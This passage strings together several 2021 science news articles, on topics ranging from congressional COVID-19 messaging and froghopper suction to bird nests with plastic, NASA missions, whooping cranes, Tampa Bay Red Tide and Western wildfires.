The researchers measured the tone in members' Facebook messages using a state-of-the-art machine learning tool that analyzed the text in each message. The tool looked for the use of words that are positive or negative to give an overall "sentiment" score for each message.

For example, a post offering a resource guide to staying safe and healthy was labeled positive. A message that criticized a Trump administration official for comparing lockdowns to slavery was labeled negative. A post that urged readers to wear a mask was marked as neutral.

Results showed that Democratic members posted an average of 26 times about COVID-19 during the period of the study, compared to 18 times for Republicans. The only pandemic-related issue that Republicans posted more about than Democrats was social distancing.

The daily average tone by political party, values near 1 are more positive and values near -1 are more negative. Credit: Box-Steffensmeier and Moses, Sci. Adv. 2021; 7: eabg2898

While Democrats tended to have a more negative tone than did Republicans, they were still slightly on the positive side overall. The one issue about which Democrats were more negative than positive was the postal service: Trump admitted to blocking funding for the postal service, and some Democrats tied this to delayed delivery of medicines, as well as interference with mail-in voting.

Many of the more negative posts by Democrats were critical of the Trump administration's response to the pandemic.

Republicans were most positive when discussing resources and sharing information related to the pandemic.

"For example, Democrats use a more negative tone when discussing the pandemic and the Trump administration than Republicans discussing the same topic," Moses said.

Democrats' tone shifted drastically relative to Republicans' after milestones that marked the severity of the pandemic, such as when COVID-19 deaths in the United States exceeded 100,000, the study found.

Overall, negative posts were more likely to be spread by Facebook users, meaning that Democrats saw an increase in their messages being shared. But Republicans saw an increase in engagement, meaning users commented on their posts or responded with one of the reaction emojis such as "like" or "love."

There was an increase in "sad" emoji reactions to the more negatively toned posts and to posts by more liberal members, results showed.

Negative tone also increased the use of the "haha" emoji, suggesting that users were replying with sarcasm or distaste.

The researchers noted that the study did not account for images or videos used in the posts, which may also affect the tone that Facebook users take away from a message.

Even with just the text, the study showed that tone impacts engagement with messaging from members of Congress. This has important implications for understanding how government can connect individuals with crucial information in emergent or pivotal moments, Box-Steffensmeier said.

"Facebook messages about COVID-19 suggest that members of Congress were not amplifying the public health or medical professional information about the global health emergency," she said.

"The divergence in tone between Democrats and Republicans suggests that members of are crafting messaging to represent their opinions or political identity, rather than sending a unified government response."

Explore further Researchers discover strong correlation between partisanship and social mobility during COVID-19 pandemic

More information: J.M. Box-Steffensmeier el al., "Meaningful messaging: Sentiment in elite social media communication with the public on the COVID-19 pandemic," Science Advances (2021). Journal information: Science Advances J.M. Box-Steffensmeier el al., "Meaningful messaging: Sentiment in elite social media communication with the public on the COVID-19 pandemic,"(2021). advances.sciencemag.org/lookup  .1126/sciadv.abg2898
Meadow froghopper (Philaenus spumarius) Credit: Charles J. Sharp, Own work, from Sharp Photography, CC BY-SA 4.0

A trio of researchers at the University of British Columbia has found that froghoppers are capable of sucking with enough force to draw up liquid in a vertical straw 100 meters long. In their paper published in Proceedings of the Royal Society B, Elisabeth Bergman, Emma Green and Philip Matthews, describe their study of the unique insects and what they learned about their ability to generate extremely strong suction forces.

Froghoppers are a type of insect found in North America and parts of Europethey get their name from their ability to jump very long distances relative to their body size. They are unique in other ways, as wellencasing themselves in foamed-up plant sap in the springtime is just one example. They also have a butt catapult that throws their urine through the air to keep the bugs from being overwhelmed because they pee so much. And now it seems they are also champion suckers.

Noting that froghoppers feed on pure xylem sap (almost constantly, which is why they urinate so much) the researchers wondered how much sucking power the insect might have. Unlike phloem, which is what most other plant-sucking insects sip, xylem sap is much more difficult to obtain. Plants with phloem have positive pressurewhen an insect taps a stem, the fluid gushes out. With xylem plants, things are oppositethey have negative pressure. An insect that wants to feed on them must be able to overcome that force. Notably, xylem is also very low in nourishment, which means that those who feed on it must consume a lot, which explains why froghoppers drink and urinate so much.

To find out just how much suction froghoppers can generate, the researchers captured multiple samples and studied them in their lab. First, they took micro-scans of the heads to learn about their structure. They found that the insects had a cibarial pump in their foreheadsit works much like a diaphragm when it is pulled by muscles. In froghoppers, that muscle is called the post-clypeus and it turned out to be very large for an insect. The researchers then used the dimensions of the pump and muscle to calculate how much force the two working together could generateapproximately 1.6 megapascals. This negative pressure force, the team notes, is greater than the negative pressure exerted by the plants that generate the xylem sap. They note the force is strong enough that the little insect could suck the water out of a cup at the base of the Statue of Liberty while perched on its crown.

Explore further What limits the ability of plants to draw water from dry soil?

More information: Elisabeth A. Bergman et al, The cibarial pump of the xylem-feeding froghopper Philaenus spumarius produces negative pressures exceeding 1 MPa, Proceedings of the Royal Society B: Biological Sciences (2021). Journal information: Proceedings of the Royal Society B Elisabeth A. Bergman et al, The cibarial pump of the xylem-feeding froghopper Philaenus spumarius produces negative pressures exceeding 1 MPa,(2021). DOI: 10.1098/rspb.2021.0731

 2021 Science X Network
Credit: CC0 Public Domain

New research finds that high school students who attended school remotely during the COVID-19 pandemic suffered socially, emotionally, and academically compared with those who attended in person.

The study was published today in Educational Researcher (ER) by researchers Angela L. Duckworth, Tim Kautz, Amy Defnet, Emma Satlof-Bedrick, Sean Talamas, Benjamin Lira, and Laurence Steinberg. ER is a peer-reviewed journal of the American Educational Research Association.

"Many news stories have reported on individual stories of teenagers who have suffered from anxiety, depression, and other mental health challenges during the pandemic," said lead author Duckworth, a professor at the University of Pennsylvania and the founder and CEO of Character Lab. "This study gives some of the first empirical evidence of how learning remotely has affected adolescent well-being."

The study found a social, emotional, and academic "thriving gap" between students who had been attending school in person and their counterparts who had been attending remotely. The greater suffering of students attending school remotely held up when controlling for how students were faring on the same dimensions prior to the pandemic. Though not enormous in magnitude, the thriving gap was consistent across gender, race/ethnicity, and socioeconomic statusand even small effects are noteworthy when they impact millions of individuals.

On a 100-point scale, in-person students were rated higher than remote students on levels of social well-being (77.2 versus 74.8), emotional well-being (57.4 versus 55.7), and academic well-being (78.4 versus 77.3).

"Notably, the thriving gap was larger among students in 10th through 12th grades than it was among ninth graders," said Steinberg, a professor at Temple University.

"As policymakers gear up for national tutoring and remediation programswhich we agree are urgent prioritieswe must recognize that our nation's students are not just lagging as performers, they are suffering as people," Duckworth said. "Meeting their intrinsic psychological needsfor social connection, for positive emotion, and authentic intellectual engagementis a challenge that cannot wait."

As part of an ongoing research partnership with Orange County Public Schools, a large and demographically diverse public school district in Florida, the study authors had already administered the Character Lab Student Thriving Indexa confidential survey assessing students' current social, emotional, and academic experienceto over 6,500 students in February of 2020, just before the pandemic shut down schools.

Several months later, families in this district were offered the option of remote versus in-person classes for the 2020-21 school year. Two thirds of the students in the sample ended up attending school remotely, and one third attended school in person. Regardless of whether they were learning from home or attending classes at school, the same students completed the Student Thriving Index again in October 2020.

To capture social well-being, the survey included questions about fitting in at school, whether there was an adult in their school to whom they could turn for support or advice, and whether in their school there was an adult who always wanted them to do their best. For emotional well-being, teens responded on how often they were feeling happy, relaxed, and sad, as well as how they were feeling overall about their life. And for academic well-being, the survey asked how interesting teens found their classes, how important they found it to do well in their classes, and how confident they were that they could succeed in their classes if they tried.

More information: Angela L. Duckworth et al, Students Attending School Remotely Suffer Socially, Emotionally, and Academically, Educational Researcher (2021). Angela L. Duckworth et al, Students Attending School Remotely Suffer Socially, Emotionally, and Academically,(2021). DOI: 10.3102/0013189X211031551

Provided by American Educational Research Association
This, if you can believe it, is part of a magpie nest. Credit: Kathy Townsend, Author provided

When we opened a box supplied by museum curators, our research team audibly gasped. Inside was a huge Australian magpie nest from 2018.

It was more than a meter wide and made up of the strangest assortment of items, including wire coat hangers, headphones, saw blades and plastic 3D glassesa mix of detritus reflecting our modern lifestyle.

This was one of almost 900 Australian nest specimens dating back over 195 years that we inspected for our recent, world-first study.

We estimate that today, around 30% of Australian bird nests incorporate human-made materials (primarily plastics). We also noted a steady increase in nest parasites over this period.

It's clear the types of debris the birds use has reflected changes in society over time. They highlight the unexpected and far-reaching ways Australians impact their environment, and put birds in danger.

The first synthetic item

Birds and humans have been sharing spaces and habitats throughout history.

It's well known birds incorporate material from their environment into their nests, making them ideal indicators of environmental changes and human activity. It's also well known, particularly among scientists, that museum collections can provide unique insight into environmental changes through time and space.

The full magpie nest from 2018 that was collected outside a construction site. Credit: Kathy Townsend, Author provided

With this in mind, our international team investigated Australian museum bird nest specimens collected between 1823 and 2018. Sourced from Museums Victoria and CSIRO's Crace Site in Canberra, we inspected a total of 892 nests from 224 different bird species.

Australian birds generate an amazing array of nest types. Rufous fantails, for example, build delicately woven structures made of fine grass and spiderwebs, while welcome swallows and white-winged choughs create nests out of mud, which dry incredibly hard and can be used year after year.

Before the 1950s, human-made debris found in the nests consisted of degradable items such as cotton thread and paper.

This changed in 1956, when we found the first synthetic item in a bird nest from Melbourne: a piece of polyester string. This appearance correlates with the increased availability of plastic polymers across Australian society, seven years after the end of the second world war.

Compare the magpie nest above to this natural butcherbird nest from 1894. Butcherbirds are in the same family as magpies. Credit: Dominique Potvin, Author provided

Australian magpies earn their name

We also determined, based on collection date and using historical maps, whether the nests came from natural, rural or urban landscapes. And it turns out the nest's location, when it was built, and the species that made it largely determined whether human-made materials were present.

Our study found nests built close to urban areas or farmland after the 1950s by birds from the families Craticidae (Australian magpies and butcherbirds), Passeridae (old world or "true" sparrows) and Pycnonotidae (bulbuls) had significantly more human-made debris.

Familiar to many an urban bird enthusiast, these species tend to adapt quickly to new environments. The incorporation of human materials in nests is likely one example of this behavioral flexibility.

The research team also had access to ten bowerbird bowers from the family Ptilonorhynchidae, spanning more than 100 years. Male bowerbirds are known for creating elaborate structures, decorated with a range of colorful items to attract a mate.

A woven egg cup nest from 1870, made of grass and spiderwebs, by the rufous fantail. Credit: Kathy Townsend, Author provided

In the 1890s, the birds decorated their bowers with natural items such as flowers and berries. Newspaper scraps were the only human-produced items we identified.

This changed dramatically 100 years later, where the most sought-after items included brightly colored plastics, such as straws, pen lids and bottle caps.

But there are tragic consequences

When birds weave non-biodegradable materialssuch as fishing line and polymer ropeinto their nests, it increases the risk of entanglement, amputation and even accumulation of plastics in the gut of nestlings.

For example, we found evidence of one pallid cuckoo juvenile dying in 1981 after it was entangled in plastic twine used by its adoptive bell miner parents.

Plastic was not the only issue. We found the prevalence of nest parasites that attack the young chicks also increased by about 25% over the last 195 years.

Fabiola Opitz, a member of our research team, measuring mudnest collected circ. 1933 of a whitewinged chough. These mudnests can last for years. Credit: Dominique Potvin, Author provided

Nest parasites can kill huge numbers of nestlings. Recent research into the forty-spotted pardalote in Tasmania, a threatened species, has shown nest parasites kill up to 81% of its nestlings.

What has caused this increase isn't clear. However, the team determined it wasn't directly linked to urban or rural habitat type, or the presence of human-made materials in the nest. This goes against the findings of other studies, which show a decrease of parasites in nests that incorporated items such as cigarettes.

Interestingly, we did find eucalyptus leaves might deter parasites, as nests that incorporated them were less likely to show evidence of parasitism.

It may be, therefore, that sticking with certain natural materials is not only better for the safety of nest inhabitants, but also may have an added effect of pest control.

The nest of a noisy miner found on the Sunshine Coast, Queensland, in 2020 with plastic string. Credit: Kathy Townsend, Author provided

A silvereye or gerygong nest from 2019. Credit: Kathy Townsend, Author provided

Stop littering, please

While most are aware of how plastics harm sea life, our study is one of the first to show the impact goes further to harm animals living in our own backyard. If the trend continues, the future for Australian birds looks bleak.

However, we can all do something about it.

It is as simple as being responsible for our rubbish and supporting proposed legislation and campaigns for moving away from single-use plastics.

A satin bowerbird collecting blue junk. Video: BBC Wildlife.

The team had access to nests from 224 different species, which equates to only about a quarter of Australia's total of 830 bird species.

There is still plenty more to discover.

Explore further Researchers help endangered birds beat deadly parasite

This article is republished from The Conversation under a Creative Commons license. Read the original article.
Credit: CC0 Public Domain

On June 7, 2021, NASA's Juno spacecraft flew closer to Jupiter's ice-encrusted moon Ganymede than any spacecraft in more than two decades. Less than a day later, Juno made its 34th flyby of Jupiter, racing over its roiling atmosphere from pole to pole in less than three hours. Using the spacecraft's JunoCam imager, the mission team has put together an animation to provide a "starship captain" point of view of each flyby.

"The animation shows just how beautiful deep space exploration can be," said Scott Bolton, principal investigator for Juno from the Southwest Research Institute in San Antonio. "The animation is a way for people to imagine exploring our solar system firsthand by seeing what it would be like to be orbiting Jupiter and flying past one of its icy moons. Today, as we approach the exciting prospect of humans being able to visit space in orbit around Earth, this propels our imagination decades into the future, when humans will be visiting the alien worlds in our solar system."

The 3:30-minute-long animation begins with Juno approaching Ganymede, passing within 645 miles (1,038 kilometers) of the surface at a relative velocity of 41,600 mph (67,000 kph). The imagery shows several of the moon's dark and light regions (darker regions are believed to result from ice sublimating into the surrounding vacuum, leaving behind darkened residue) as well as the crater Tros, which is among the largest and brightest crater scars on Ganymede.

On June 7, 2021, NASAs Juno spacecraft flew closer to Jupiters ice-encrusted moon Ganymede than any spacecraft in more than two decades. Less than a day later, Juno made its 34th flyby of Jupiter. This animation provides a starship captain point of view of each flyby. For both worlds, JunoCam images were orthographically projected onto a digital sphere, and synthetic frames were added between actual images to make the motion appear smoother and provide views of approach and departure for both Ganymede and Jupiter. Credit: NASA/JPL-Caltech/SwRI/MSSS

It takes just 14 hours, 50 minutes for Juno to travel the 735,000 miles (1.18 million kilometers) between Ganymede and Jupiter, and the viewer is transported to within just 2,100 miles (3,400 kilometers) above Jupiter's spectacular cloud tops. By that point, Jupiter's powerful gravity has accelerated the spacecraft to almost 130,000 mph (210,000 kph) relative to the planet.

Among the Jovian atmospheric features that can be seen are the circumpolar cyclones at the north pole and five of the gas giant's "string of pearls"eight massive storms rotating counterclockwise in the southern hemisphere that appear as white ovals. Using information that Juno has learned from studying Jupiter's atmosphere, the animation team simulated lightning one might see as we pass over Jupiter's giant thunderstorms.

The camera's point of view for this time-lapse animation was generated by citizen scientist Gerald Eichstadt, using composite images of Ganymede and Jupiter. For both worlds, the JunoCam images were orthographically projected onto a digital sphere, and then synthetic frames were added between actual images to make the motion appear smoother and provide views of approach and departure for both Ganymede and Jupiter.

As planned, the gravitational pull of the giant moon has affected Juno's orbit, resulting in the reduction of its orbital period from 53 days to 43 days. The next flyby of Jupiter, the 35th of the mission, is scheduled for July 21.

More information: More information about Juno is available at:

www.nasa.gov/juno

www.missionjuno.swri.edu More information about Juno is available at:
Engineers prepare NEA Scout for integration and shipping at NASAs Marshall Space Flight Center in Huntsville, Alabama. Credit: Jet Propulsion Laboratory

Sailing on sunlight, NEA Scout will capture images of an asteroid for scientific study.

NASA's Near-Earth Asteroid Scout is tucked away safely inside the agency's powerful Space Launch System (SLS) rocket at NASA's Kennedy Space Center in Florida. The solar sailing CubeSat is one of several secondary payloads hitching a ride on Artemis I, the first integrated flight of the agency's SLS and the Orion spacecraft.

NEA Scout, a small spacecraft roughly the size of a large shoebox, has been packaged into a dispenser and attached to the adapter ring that connects the SLS rocket and Orion spacecraft. The Artemis I mission will be an uncrewed flight test. It also offers deep space transportation for several CubeSats, enabling opportunities for small spacecraft like NEA Scout to reach the moon and beyond as part of the Artemis program.

"NEA Scout will be America's first interplanetary mission using solar sail propulsion," said Les Johnson, principal technology investigator for the mission at NASA's Marshall Space Flight Center. "There have been several sail tests in Earth orbit, and we are now ready to show we can use this new type of spacecraft propulsion to go new places and perform important science."

NASAs NEA Scout spacecraft in Gravity Off-load Fixture, System Test configuration at NASAs Marshall Space Flight Center in Huntsville, Alabama. Credit: Jet Propulsion Laboratory

The CubeSat will use stainless steel alloy booms to deploy an aluminum-coated plastic film sailthinner than a human hair and about the size of a racquetball court. The large-area sail will generate thrust by reflecting sunlight. Energetic particles of sunlight, called photons, bounce off the solar sail to give it a gentle yet constant push. Over time, this constant thrust can accelerate the spacecraft to very high speeds, allowing it to navigate through space and catch up to its target asteroid.

"This type of propulsion is especially useful for small, lightweight spacecraft that cannot carry large amounts of conventional rocket propellant," Johnson said.

NEA Scout is also a stepping stone to another recently selected NASA solar sail mission, Solar Cruiser, which will use a sail 16 times larger when it flies in 2025.

Sailing on sunlight, NEA Scout will begin an approximate two-year journey to fly by a near-Earth asteroid. Once it reaches its destination, the spacecraft will use a science-grade camera to capture images of the asteroiddown to less than half an inch (10 centimeters) per pixelwhich scientists will then study to further our understanding of these small but important solar system neighbors. High-resolution imaging is made possible thanks to the low-velocity flyby (less than 100 feet, or 30 meters, per second) enabled by the solar sail.

Illustration of NASAs NEA Scout with the solar sail deployed as it flies by its asteroid destination. Credit: Jet Propulsion Laboratory

The data obtained will help scientists understand a smaller class of asteroidsthose measuring less than 100 meters (330 feet) acrossthat have never been explored by spacecraft.

"The images gathered by NEA Scout will provide critical information on the asteroid's physical properties such as orbit, shape, volume, rotation, the dust and debris field surrounding it, plus its surface properties," said Julie Castillo-Rogez, the mission's principal science investigator at NASA's Jet Propulsion Laboratory.

Near-Earth asteroids are also important destinations for exploration, in situ resource utilization, and scientific research. In the past decade, detections of near-Earth asteroids have steadily risen and are expected to grow, offering expanded opportunities as exploration destinations.

"Despite their size, some of these small asteroids could pose a threat to Earth," Dr. Jim Stott, NEA Scout technology project manager, said. "Understanding their properties could help us develop strategies for reducing the potential damage caused in the event of an impact."

Scientists will use this data to determine what is required to reduce risk, increase effectiveness, and improve the design and operations of robotic and human space exploration, added Castillo-Rogez.
Credit: CC0 Public Domain

Researchers affiliated with several institutions in the United States has determined that the increase in the number of hurricanes forming in the Atlantic over the past several years is not related to global warming. They suggest instead, in their paper published in the journal Nature Communications, that it is simply reflective of natural variable weather patterns.

Over the past several decades, scientists studying satellite data have found that the number of hurricanes forming in the Atlantic Ocean has been increasing. Many in the field have suggested that this is due to the impact of global warming. A warming ocean, they note would naturally lead to more active atmospheric activity. The problem with such thinking, the researchers from this new effort note, is that satellite data only goes back to 1972. Prior to that date, data on hurricane frequency tended to come from eyewitness accounts, which left out many hurricanes that never touched land. In this new study, the researchers went back to the old record books to learn more about the frequency of hurricanes prior to satellites.

The old-time data stretched as far back as 1851 and came courtesy of records kept by workers at the National Oceanic and Atmospheric Administration. The workers had collected the data from eyewitnesses across the eastern seaboard, along the Gulf of Mexico, islands in the Atlantic and fishermen venturing out to sea. The researchers then calculated the ratios of hurricanes that never came ashore in modern times to those that did, and worked backwards using modern data along with math techniques to estimate the number of hurricanes going back to 1860 that were never recorded. They then plotted those numbers on a timeline.

Researchers found no evidence on the timeline of larger than normal numbers of hurricanes forming over the past few decadesinstead, it showed that the numbers were on par with prior spikes in the late 1940s and early 1880s. They also found no evidence indicating that modern hurricanes are any more powerful than those in the past.

Explore further Above-average Atlantic hurricane activity again expected in 2021

More information: Gabriel A. Vecchi et al, Changes in Atlantic major hurricane frequency since the late-19th century, Nature Communications (2021). Journal information: Nature Communications Gabriel A. Vecchi et al, Changes in Atlantic major hurricane frequency since the late-19th century,(2021). DOI: 10.1038/s41467-021-24268-5

 2021 Science X Network
Credit: Paul Hebert - Functional Genomics Thickens the Biological Plot. Gewin V, PLoS Biology Vol. 3/6/2005, e219. doi:10.1371/journal.pbio.0030219

The extraordinary ability of animals to rapidly evolve in response to predators has been demonstrated via genetic sequencing of a waterflea population across nearly two decades.

In a new study, published in Nature Communications, scientists at the Universities of Birmingham in the UK, the Katholieke Universiteit Leuven in Belgium, and the Leibniz Institute for Freshwater Ecology and Inland Fisheries (IGB), Berlin, were able to identify more than 300 genes that vary in the genome of the waterflea.

These genes, which account for about about 3 percent of all sequenced waterflea genes, underpin changes in behavioral and life history traits that improve survival when exposed to predators.

Strikingly, evolution in response to predation pressure occurs within just a few generations. It is mediated by so-called standing genetic variationthe amount of genetic diversity harbored by a given natural population. The research brings to the forefront of science the importance of standing genetic diversity to support rapid adaptation. It also highlights that reducing the genetic diversity of natural populations has important consequences for their ability to adapt to environmental change.

Lead researcher, Dr. Anurag Chaturvedi, currently at the University of Birmingham's School of Biosciences and former Ph.D. student at KU Leuven, explained: "We were able to quantify the genetic diversity of one particular Daphnia population over nearly two decades and show clearly how rapid evolution took place in response to environmental pressures. This type of research will be invaluable for understanding the potential impacts of future environmental changes on animal populations."

The waterflea, or Daphnia, is central to the food webs of lakes and ponds. Its life cycle includes a dormant stage that can last for several decades. By awakening dormant stages through resurrection biology, scientists can quantify genetic changes at several time points in the past and observe evolution as it happens in nature.

In the study, the team was able to hatch dormant eggs that span two decades and to sequence the genome of 36 resurrected Daphnia from a fish-farming pond. During the two decades, the Daphnia population experienced a transition from no predation from fish to high fish predation and back to lower levels of predation. The team was able to uniquely match changes in predation pressure on Daphnia with changes in the DNA over time. In effect, the research was able to link specific changes in the environment of Daphnia with the evolution occurring in their genomes.

The team found that the required DNA variation to kick-start an evolutionary change that spreads through an entire population did not require more than five 'founding' individual Daphnia from the regional set of Daphnia populations.

This surprising result suggests that animal species such as Daphnia have a high capacity for adaptive evolution thanks to the fact that genetic variation is maintained at the landscape levelan important lesson for conservation biology.

Lead researcher, Dr. Anurag Chaturvedi explained: "Our ability to investigate populations that evolve across decades is invaluable for both fundamental and applied science discoveries".

Explore further Using water fleas, researchers investigate adaptive evolution
A year after pandemic precautions all but halted work to raise the world's most endangered cranes for release into the wild, the efforts are back in gear.

Fourteen long-legged, fuzzy brown whooping crane chicksone more than in 2019are following their parents or costumed surrogates in facilities from New Orleans to Calgary, Canada.

"We are thrilled to have bounced back in the wake of the pandemic," said Richard Dunn, assistant curator of the Freeport-McMoRan Audubon Species Survival Center in New Orleans.

Adult whooping cranes are white with black wingtips and red caps, and at 5 feet high are the tallest birds in North America. Only about 800 exist, all descendants of about 15 that survived hunters and habitat loss in a flock that migrates between Texas and Alberta, Canada.

Last year, zoos and other places where the endangered birds are bred had to cut staff and reduce or eliminate use of artificial insemination, which requires close work by two or three people, and of having people in shape-disguising costumes raise chicks.

"One chick hatched out at the Calgary Zoo," Dunn said. "And it had to stay in Calgary because they couldn't cross the border" to get it into either of two U.S.-only flocks.

Both a flock based in southwest Louisiana and one taught to migrate between Wisconsin and Florida by following ultralight aircraft were created in hopes of mitigating disaster should anything happen to the original border-crossing flock, now about 500 strong. The original flock is the only one that can survive without human assistance to increase its numbers.

Seven chicks hatched this year at the Species Survival Center.

Aurora, a male produced there by artificial insemination, is being brought up by his mother and "stepfather," though his mother is temporarily hospitalized after chipping her beak on their enclosure's chain-link fence.

The other sixfive hatched from eggs taken from the wild in Wisconsin and one from an egg bred at the International Crane Foundation in Baraboo, Wisconsinare being raised by staffers.

The Milwaukee Zoo is raising one chick from an egg received from the crane foundation, and the foundation and the Calgary Zoo are each raising three chicks. The Milwaukee Zoo's chick will remain captive for breeding, Dunn said.

Dunn said Audubon and the crane foundation are the only facilities that use costume-rearing as well as having mated crane pairs bring up babies, and this year only Audubon did so.

Pandemic prospects were still uncertain and vaccines not yet readily available in February, when the foundation had to make its decisions, crane foundation aviculturist Kim Boardman said in an email. "We expect to costume and parent rear again in 2022," she said.

Audubon's keepers do checkups and other tasks the chicks won't appreciate while wearing regular clothes, to teach them that humans are to be avoided.

When teaching the chicks to hunt and other crane behaviors, they dress in baggy costumes with the neck of a crane-head hand puppet holding in one loose, black-tipped "wing." The puppet demonstrates how to pick up insects from the ground, then passes the tasty morsels to a chick.

Although the chicks will be given identifying numbers such as L1-21 when they're released as mottled brown-and-white juveniles late this year, at Audubon they have names: Blizzard, Fog, Hurricane, Lava, Lightning, Tornadothe only femaleand Aurora.

It's been a good year in the wild, tooLouisiana's 68 adults included a record 24 nesting pairs. They hatched a record 14 chicks. including two in Texas, and five have survived into July, said Sara Zimorski, a biologist with the Louisiana Department of Wildlife and Fisheries.

Youngsters that live long enough to fly get numbers starting with LW and the number assigned at hatching. One of Louisiana's five has been seen flying, and, along with a yearling is counted in the 70-member flock. If all five become fledglings, that will tie a record from 2018.

The Wisconsin-Florida flock numbers about 80, with about 120 birds in captivity. Seven eggs were taken from Wisconsin's flock to be raised in captivity, at least 14 more hatched in the wild and six of those survived through June.

Eggs are collected from early wild nests because parents will lay a second if the first doesn't hatch or the chicks die. Collections not only increase the number of chicks per year but in Wisconsin, help keep wild chicks from hatching when bloodsucking black flies are at their worst.

One of Louisiana's Texas-nesting pairs also hatched a chick last yearthe first documented since the early 1900s, Zimorski said. Texas is the original flock's winter home but those birds nest in Canada's Wood Buffalo National Park.

This year's Texas survivor was hatched by first-time parents and is still very young, Zimorski wrote in an email. "It has a long ways to go!" she said.

Explore further Captive whooping cranes released into the wild

 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Credit: CC0 Public Domain

The Sunshine City and its sparkling waterfront parks have become the center of Tampa Bay's Red Tide crisis.

Rafts of dead fish are washing ashore more quickly than crews can gather the carcasses. Workers have picked up 477 tons of dead marine life from the coastline in recent weeks, according to Mayor Rick Kriseman. That accounts for the overwhelming majority of more than 600 tons picked up across Pinellas County.

Scientists continue to detect high levels of Red Tide through much of the bay, with no sign of immediate relief on the horizon.

"It's here. It's bad. And there's not much we can do other than make sure we're all communicating well," Florida Fish and Wildlife Conservation Commission Director Eric Sutton told the Tampa Bay Times. "There's no signs that necessarily it's going to be coming to an end soon, but I've learned enough not to try to predict Red Tide either."

Sutton and Florida's interim environmental secretary, Shawn Hamilton, visited St. Petersburg on Tuesday to hold a discussion about Red Tide. Reporters were not allowed to attend.

"The bay is not very happy right now, to say the least," said Robert Weisberg, a physical oceanography professor at the University of South Florida, whose lab forecasts the movement of Red Tide. His model, relying on water sampling from the state, suggests the toxic algae will stick around for the foreseeable future.

Weisberg said the bloom could, in fact, linger even longerperhaps into the fall, which is a more normal season for Red Tide to drift in from offshore.

"The prognosis is not all that good," he said.

A patchy bloom that revealed itself in early June when small pinfish and grunt turned up dead on Pinellas's beaches has since sunk unnervingly into one of Florida'sand the country'smost treasured estuaries. Pinellas has reported some water samples in Tampa Bay with levels of Red Tide 10 to 17 times greater than the concentration considered "high."

Snook and tarpon have floated dead in the bay. Carcasses decayed Tuesday in the sun, gray and reeking, at Maximo Park near the Sunshine Skyway bridge and Bay Vista Park across Pinellas Point. They piled like snowdrifts beside upturned shells of horseshoe crabs at Lassing Park in the Old Southeast.

"You name it, it's washing up right now," said Tampa Bay Estuary Program Assistant Director Maya Burke.

Red Tide more typically shows up in the Gulf of Mexico, she said, like it did during a prolonged bloom in 2018. To see high levels in the bay is "really, really, really uncommon."

"Unfortunately, I think it could be pretty uncomfortable for a long time," Burke said.

Blooms consist of microscopic organisms that produce fish-killing toxins. They may cause people to suffer minor breathing trouble, a scratchy throat and watery eyes. County monitoring has shown elevated levels of Red Tide off several beaches in recent days, including Fort De Soto, Pass-a-Grille, Treasure Island, Madeira Beach, Indian Rocks Beach and Clearwater Beach.

A bloom was drifting far south of Tampa Bay earlier this year, Weisberg said, around Charlotte Harbor. Unusually persistent southerly winds between March and April may have moved those organisms up to Tampa Bay, he said. Once here, the Red Tide organisms likely met with recycled nutrients, particularly nitrogen, dumped into Tampa Bay in April through contaminated water from the old Piney Point fertilizer plant site in Manatee County, according to Weisberg.

"If you give it the right suite of nutrients, the concentrations can escalate very rapidly," he said.

Scientists have not proven definitively that the bloom is feasting upon contamination from Piney Point, and Burke said they may never land a "smoking gun." But they know that putting nutrients into the bay generally causes algae to grow.

"That's textbook what we're seeing right now," Burke said. "We have no reason not to link those two things together."

The forces that end a Red Tide bloom are still a "mystery," according to Weisberg, but he said the standard circulation of the bay is not likely to flush out algae soon. Dead fish compound the problem because the carcasses release more nutrients back into the water to feed Red Tide. Burke said that is part of why local efforts to remove dead fish from the water are so important.

The city stationed dumpsters in several parks so residents can throw away any dead, stinking fish they collect from canals and at the foot of seawalls.

Lori Johnson walked her Lhasa Apso, Griffin, on a sidewalk by one bin in Flora Wylie Park. She had smelled rotting fish from her ninth-floor condo the night before and on her daily walks watched as fish floated north from Vinoy Park to Snell Isle. Workers clad in highlighter yellow scooped dead animals from the water.

"They were from 22nd to 28th, just lined up with trucks and men, just digging it out," Johnson said.

A crew near Snell Isle Boulevard that morning loaded dead fish into garbage bags, hauling the load away in city pickups.

Two environmental groups, Captains for Clean Water and Tampa Bay Waterkeeper, hosted a listening session later Tuesday at a brewery in South Tampa to hear from fishing guides about the problem. It was one of three meetings they planned that day.

Daniel Andrews, co-founder of Captains for Clean Water, told the Times that he has heard from charter operators logging cancelations because of Red Tide. He shared a story of captains bringing clients north to Crystal River for clear fishing. The state's most recent monitoring shows high levels of Red Tide to the south of Tampa Bay as well, off Longboat Key and Sarasota.

Andrews, from Fort Myers, said his area suffered the brunt of the last bad Red Tide from 2017 to 2019. Fishermen there still cannot keep redfish and snook because of a partial closure following the bloom. State regulators reopened those same fisheries while in season in Tampa Bay only this spring, because it was not hit as hard. During the 2017-19 crisis, Pinellas removed more than 1,800 tons of dead marine life.

Captains and guides, Andrews said, are some of the first people hurt when visitors delay trips because of Red Tide. They also suffer long-term if toxic algae kill off mature keeper fish, depleting overall stocks.

"It's not something that goes away as soon as the Red Tide does," he said.

How to stay safe near the water

Beachgoers should avoid swimming around dead fish.

Those with chronic respiratory problems should be particularly careful and "consider staying away" from places with a Red Tide bloom.

People should not harvest or eat mollusks or distressed and dead fish from the area. Filets of healthy fish should be rinsed with clean water, and the guts thrown out.

Pet owners should keep their animals away from the water and from dead fish.

Residents living near the beach should close their windows and run air conditioners with proper filters.

Visitors to the beach can wear paper masks, especially if the wind is blowing in.

Provided by Florida Department of Health in Pinellas County

2021 Tampa Bay Times. Distributed by Tribune Content Agency, LLC.
This photo provided by the Oregon Department of Forestry shows a firefighting tanker making a retardant drop over the Grandview Fire near Sisters, Ore., Sunday, July 11, 2021. The wildfire doubled in size to 6.2 square miles (16 square kilometers) Monday, forcing evacuations in the area, while the state's biggest fire continued to burn out of control, with containment not expected until November. Credit: Oregon Department of Forestry via AP

An army of firefighters labored in hot, dry and windy weather Tuesday to contain fires chewing through wilderness and burning homes across drought-stricken Western states already sweltering in the second heat wave of the year.

A high-pressure system that created the intense weather was weakening, but temperatures were forecast to remain above normal on the lines of more than 60 active large blazes burning in the West and Alaska.

More than 14,000 firefighters and support personnel were attacking fires covering close to a million acres (1,562 square miles, 4,047 square kilometers) of land, according to the National Interagency Fire Center.

The largest fire in the United States was incinerating huge swaths of the Fremont-Winema National Forest in southern Oregon, where firefighters received a warning about conditions from incident commander Al Lawson.

